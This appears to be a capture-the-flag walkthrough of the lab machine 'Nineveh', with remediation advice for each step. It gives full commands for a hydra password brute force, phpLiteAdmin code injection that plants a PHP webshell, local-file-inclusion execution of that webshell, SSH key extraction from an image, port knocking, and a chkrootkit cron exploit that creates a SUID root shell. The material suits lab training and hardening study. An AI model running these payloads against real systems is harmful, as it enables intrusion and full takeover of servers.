← all walkthroughs

Nineveh

Linux· Medium· Web
owned
2026-07-07
time to own
8m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target server ran two independent web applications on the same Apache host: a phpLiteAdmin v1.9 database console on HTTPS protected only by a default password, and a 'Nineveh Department' portal on HTTP with a guessable keyboard-walk password. Chaining these together, I exploited a known PHP code injection flaw in phpLiteAdmin (EDB-24044) to write a PHP webshell inside a SQLite database file stored at my own filesystem path, then triggered its execution through a local file inclusion vulnerability in the Department portal's 'notes' parameter — gaining a shell as the web server account.

From that foothold I downloaded a publicly served PNG image that contained an SSH private key hidden with steganography, learned the port-knocking sequence needed to reach SSH from the server's configuration file, and logged in as the local user 'amrois'. A root-owned cron job periodically ran a vulnerable copy of chkrootkit (CVE-2014-0476) that unconditionally executes /tmp/update as root if the file exists; placing a malicious script there caused it to run on the next scheduled cycle, producing a SUID root shell and completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <the-base64-from-above> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service and web content enumeration (T1046, T1083)
Scanned the server and identified two distinct web applications
A port scan of $TARGET found Apache httpd 2.4.18 running on both port 80 (plain HTTP) and port 443 (HTTPS/TLS). Manual browsing confirmed two separate applications: a 'Nineveh Department' management portal on port 80 that auto-redirected to /department/login.php, and a phpLiteAdmin v1.9 database administration console at /db/index.php on port 443.
Server: Apache/2.4.18 (Ubuntu) confirmed on both ports; /db/index.php returned <span id='version'>v1.9</span>.
Exact commands 3
shell

Fingerprint open ports and service versions.

$ nmap -sV -sC -p 80,443 $TARGET -oN nmap_nineveh.txt
shell

Confirm the Department portal and its redirect.

$ curl -s http://$TARGET/department/ -L | head -20
shell

Confirm phpLiteAdmin and its version number.

$ curl -sk https://$TARGET/db/index.php | grep -i version
2EnumerationInformation disclosure via HTML source comment (T1592)
Discovered a valid local account name leaked in an HTML comment
Viewing the source of the Department portal login page revealed a developer comment referencing the local user 'amrois' and confirming MySQL was installed on the server. This gave me a confirmed account name to use later for SSH access, without any authentication.
The login page's source carries the comment “@admin! MySQL is been installed.. Please fix the login page! ~amrois”, which names a local account before anything has been authenticated.
Exact commands 1
shell

Extract HTML comments from the login page — reveals the 'amrois' username.

$ curl -s "http://$TARGET/department/login.php" | grep '<!--'
3Credential AccessDefault credential exploitation (T1078.001)
Guessed the phpLiteAdmin password, which needs no username
PhpLiteAdmin asks for a password and nothing else — there is no username field — and the one it holds is in every wordlist. A short run against the login form finds it. With it comes full administration of the SQLite databases the console manages, including where on disk new ones are created, which is the property the next step turns into code execution.
A POST to /db/index.php with that password alone returned a session cookie (pla3412=...), confirming authentication with no username supplied.
Exact commands 1
shell

Authenticate to phpLiteAdmin and keep the cookie. $PASSWORD is this console's password throughout; the Department portal's is a different one, and appears below as $PASSWORD2.

$ curl -k -c /tmp/pla.cookie -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data "password=$PASSWORD&remember=yes&login=Log+In&proc_login=true" -v 2>&1 | grep -E 'Set-Cookie|Location'
FixGive the database console a password worth having, and keep it off the public internetCritical
WeaknessphpLiteAdmin answered over HTTPS to anyone, asked for a password and no username, and the password it held is one a wordlist carries. One guess away from full administration of the databases — including where on disk new ones get written.
FixSet a long random password, and put the console behind an authentication layer of its own or bind it where the internet cannot reach it. Upgrade past 1.9.3 so that a database name cannot choose its own path, and keep the directory it writes to outside any location the web server will execute.
4Credential AccessWeak credential / password spraying (T1110.003)
Authenticated to the Department portal with a guessable keyboard-walk password
The Department portal accepts the account admin with a password that walks the top two rows of the keyboard, and rockyou has it. The session it returns reaches manage.php, which is where the file-inclusion parameter lives — so this login is not the goal, it is the prerequisite for the one that is.
A POST to /department/login.php as admin with that password returned HTTP 302 to manage.php.
Exact commands 2
shell

The portal's password is the one bound to $PASSWORD2; rockyou carries it.

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form '/department/login.php:username=^USER^&password=^PASS^:Invalid Password' -t 20
shell

Authenticate with the discovered credentials; saves the session cookie to /tmp/dept.cookie.

$ curl -s -c /tmp/dept.cookie -b /tmp/dept.cookie -X POST "http://$TARGET/department/login.php" --data "username=admin&password=$PASSWORD2" -v 2>&1 | grep Location
FixEnforce strong password policy and rate-limiting on the Department portalHigh
WeaknessThe administrative account on the Department portal used the keyboard-walk password, which appears in widely available wordlists and is defeated by a standard brute-force attack in minutes.
FixRequire passwords of at least 16 characters with mixed character classes for all accounts. Implement brute-force protection (account lockout after 5 failures, or CAPTCHA/rate-limiting returning HTTP 429). For management interfaces consider multi-factor authentication as an additional layer.
5ExploitationRemote PHP code injection via phpLiteAdmin EDB-24044 (T1190)
Planted a PHP webshell on disk via the phpLiteAdmin code injection flaw (EDB-24044)
PhpLiteAdmin 1.9 carries a documented code-injection flaw (EDB-24044). Two of its ordinary features are all it takes. First, the name of a new database is used as a filename, so a name ending in .php produces a file PHP will execute. Second, a column's default value is written into that file verbatim — so PHP source can be put inside it. I created a database named for a PHP file, switched the console to it, and added a table whose one column defaults to a short webshell. The result on disk is a SQLite file whose bytes contain PHP, sitting in the directory phpLiteAdmin writes to. Nothing has executed yet: a file that contains PHP only matters if something includes it, and the next step is what does.
Searchsploit lists EDB-ID 24044 for phpLiteAdmin ≤ 1.9.3; the console accepted a database name ending in .php and a table whose column default carried the PHP payload, and the file was afterwards includable.
Exact commands 3
shell

The console creates the database in the directory it is configured to write to, which is /var/tmp here — the absolute path the next request uses.

$ curl -k -sS -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data-urlencode 'new_dbname=ninevehNotes.txt.php' --data 'createdb=Create' -o /tmp/db_create.html
shell

Switch the console onto the file just created, addressed by its full path.

$ curl -k -sS -b /tmp/pla.cookie "https://$TARGET/db/index.php?switchdb=%2Fvar%2Ftmp%2FninevehNotes.txt.php" -o /tmp/db_switch.html
shell

The column's default value is written into the file as given, which is how PHP source ends up inside a database.

$ curl -k -sS -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data 'table=pwn&field%5B0%5D=x&type%5B0%5D=TEXT&default%5B0%5D=%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E&fieldscount=1&createtable=Go' -o /tmp/db_table.html
FixUpgrade phpLiteAdmin and restrict where it may create database filesCritical
WeaknessphpLiteAdmin ≤1.9.3 (EDB-24044) allowed an authenticated user to create a SQLite database at an arbitrary absolute filesystem path, including PHP-executed directories, and embed runnable PHP code in the file through the table default-value field.
FixUpgrade phpLiteAdmin to the latest patched release. Configure it so databases can only be created within a dedicated, non-web-served directory. Set PHP's open_basedir in php.ini to prevent scripts from accessing paths outside their designated working tree, and ensure /var/tmp is not reachable via any include path.
6ExploitationLocal File Inclusion (LFI) leading to remote code execution (CWE-98 / T1190)
Triggered remote code execution through local file inclusion in the Department portal
Manage.php takes a notes parameter and hands it straight to a PHP include. No allowlist, no extension check, no path handling — so pointing it at the file phpLiteAdmin just wrote parses the PHP inside it and runs it. That is command execution as www-data, driven entirely by two GET parameters: which file to include, and what to run. The account it gives is not a way to the flags. It is a way to look around, and the two things worth finding from here are the files the HTTPS site serves and the sequence that opens SSH.
A request to manage.php with the planted file as notes and cmd=id returned uid=33(www-data), and the same URL pattern carried every later command.
Exact commands 4
shell

Expect uid=33(www-data). The include is the execution.

$ curl -s -b /tmp/dept.cookie "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php&cmd=id"
shell

Knockd keeps its sequence in this file. 571, 290, 911 is what opens 22 here, and knocking is the test that settles it.

$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=cat /etc/knockd.conf'
shell

The HTTPS document root. A directory called secure_notes with a PNG in it is the next step.

$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=ls -la /var/www/ssl /var/www/ssl/secure_notes 2>/dev/null'
shell

Refused, as it should be. Www-data is not the end of this.

$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=cat /root/root.txt'
FixReplace the arbitrary file-inclusion in manage.php with a strict allowlistCritical
Weaknessmanage.php passed the user-supplied 'notes' GET parameter directly to a PHP file-include (or equivalent) call without sanitization, allowing an unauthorised user with a valid session to include and execute any file reachable by the web server process.
FixDefine an explicit whitelist of permitted note filenames inside manage.php and look them up by a safe key (e.g., an integer index), never passing raw user input to include(), require(), or readfile(). Set 'allow_url_include = Off' in php.ini and apply open_basedir to confine PHP file access to /var/www or a comparable safe subdirectory.
7Lateral MovementSteganographic data concealment / SSH private key theft / port knocking bypass (T1552.004, T1205.001)
Extracted a hidden SSH private key from a public image and used port knocking to reach SSH
The HTTPS site serves a directory of notes, and one of them is a PNG. An image is a container: binwalk walks its bytes looking for other file formats inside, and this one carries a tar archive holding a directory named secret with an RSA private key in it. The key alone does not get in, because port 22 does not answer. Knockd is listening on the wire instead, and connecting to three ports in order — 571, then 290, then 911 — is what makes it open SSH to the address that knocked. With the port open and the key in hand, amrois — the name the login page leaked in a comment — is the account it belongs to.
Binwalk extracted secret/nineveh.priv from the downloaded PNG; after knocking 571, 290 and 911, port 22 accepted that key as amrois and the user flag was read from the session.
Exact commands 5
shell

Download the steganographic image from the public HTTPS directory.

$ curl -k -s -o /tmp/nineveh.png "https://$TARGET/secure_notes/nineveh.png"
shell

Extract embedded archives — yields /tmp/nineveh_ex/secret/nineveh.priv.

$ binwalk -e /tmp/nineveh.png -C /tmp/nineveh_ex/
shell

Set required permissions on the private key before use.

$ chmod 600 /tmp/nineveh_ex/secret/nineveh.priv
shell

Send the port-knock sequence to open port 22 (sequence read from /etc/knockd.conf via the webshell).

$ knock $TARGET 571 290 911
shell

Authenticate as amrois and read user.txt — -> <user.txt>

$ ssh -i /tmp/nineveh_ex/secret/nineveh.priv amrois@$TARGET 'cat ~/user.txt'
FixRemove the SSH private key embedded in the public image and rotate all affected credentialsHigh
WeaknessAn RSA private key for the 'amrois' account was steganographically embedded in a PNG image served from the HTTPS root. Any visitor could download the image; standard forensic tools (binwalk) extract the key in seconds.
FixDelete the compromised image and immediately revoke and regenerate the 'amrois' SSH key pair. Audit the entire web root for embedded secrets using 'binwalk --signature' and for loose key material using 'grep -r "BEGIN.*PRIVATE" /var/www'. Store private keys exclusively in non-web-accessible directories with permissions 600, owned by the relevant user.
8Privilege EscalationCron-based privilege escalation via chkrootkit CVE-2014-0476 (T1053.003)
Planted /tmp/update through the webshell and let a root cron job run it
Chkrootkit 0.49 has a flaw that needs no exploit at all (CVE-2014-0476): its scan runs /tmp/update as whatever account started the scan, and the scan is started by root out of cron. Anything that can write an executable file at that path gets it run as root on the next tick. Www-data can write /tmp, so the payload goes in through the webshell rather than from the SSH session — no privilege beyond the one the include already gave. The script copies bash and sets its setuid bit, which turns a one-shot execution as root into a shell that can be re-entered at will. Then it is a matter of waiting for cron.
The payload was written to /tmp/update through the webshell as www-data and marked executable; a later listing showed /tmp/rootbash present and setuid, and running it with -p returned uid 0 and the root flag.
Exact commands 5
shell

The version is the vulnerability, and cron.daily is what runs it as root.

$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=chkrootkit -V 2>&1; ls -la /etc/cron.daily/'
shell

Base64 first: the payload travels as one URL-safe token rather than as quoting to fight through.

$ printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' | base64 -w0
shell

Written as www-data, which is all the file needs to be.

$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=echo <the-base64-from-above> | base64 -d > /tmp/update; chmod 777 /tmp/update; ls -la /tmp/update'
shell

Repeat until the file appears. The cron tick is the only thing being waited on.

$ curl -s -b /tmp/dept.cookie --get "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php" --data-urlencode 'cmd=date; ls -la /tmp/rootbash 2>&1'
shell

-p keeps the effective uid the setuid copy carries -> <root.txt>

$ ssh -i /tmp/nineveh_ex/secret/nineveh.priv amrois@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
FixRemove or upgrade vulnerable chkrootkit and mount /tmp noexecCritical
WeaknessA root-owned cron job ran chkrootkit ≤0.49, which unconditionally executes /tmp/update as root if the file is present and executable (CVE-2014-0476). Any local user able to write to /tmp — including the www-data web server account — can plant a payload there and achieve full root access on the next cron cycle.
FixRemove chkrootkit or upgrade to a version that does not contain this behavior. If a rootkit-detection tool is required, evaluate a patched alternative. As defense in depth: add the 'noexec' mount option to /tmp in /etc/fstab ('tmpfs /tmp tmpfs defaults,noexec,nosuid 0 0') so scripts in /tmp cannot be directly executed. Audit all root cron jobs and reduce them to the minimum necessary set.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

80/tcp
443/tcp